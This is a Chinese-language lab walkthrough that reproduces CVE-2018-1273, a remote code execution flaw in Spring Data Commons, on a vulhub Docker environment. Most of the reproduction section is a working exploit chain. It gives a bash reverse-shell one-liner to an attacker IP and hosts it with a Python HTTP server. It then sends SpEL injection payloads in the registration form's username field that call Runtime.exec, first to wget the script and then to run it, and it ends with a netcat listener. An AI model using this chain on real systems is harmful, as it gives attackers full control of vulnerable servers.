一、漏洞说明
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
二、影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
三、搭建环境
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
四、漏洞复现
1.准备shell命令
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
写入文件shell.sh
2.开启http服务
在sh文件所在目录开启http服务
python -m http.server 8081
3.抓包
访问http://192.168.25.128:8080/users,注册,BP抓包
4.准备请求包
Payload:
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“【要执行的命令】”)]=&password=&repeatedPassword=
下载文件请求包:username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168.155.2:8081/shell.sh”)]&password=test&repeatedPassword=test
执行命令请求包:
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/bin/bash /tmp/1.sh”)]&password=test&repeatedPassword=test
5.nc开启监听
6.发送请求包
发送下载包
发现tmp里出现了1.sh
发送执行包
7.反弹shell
注意:
wget正确用法:
使用 -O 选项以其他名称保存下载的文件
wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz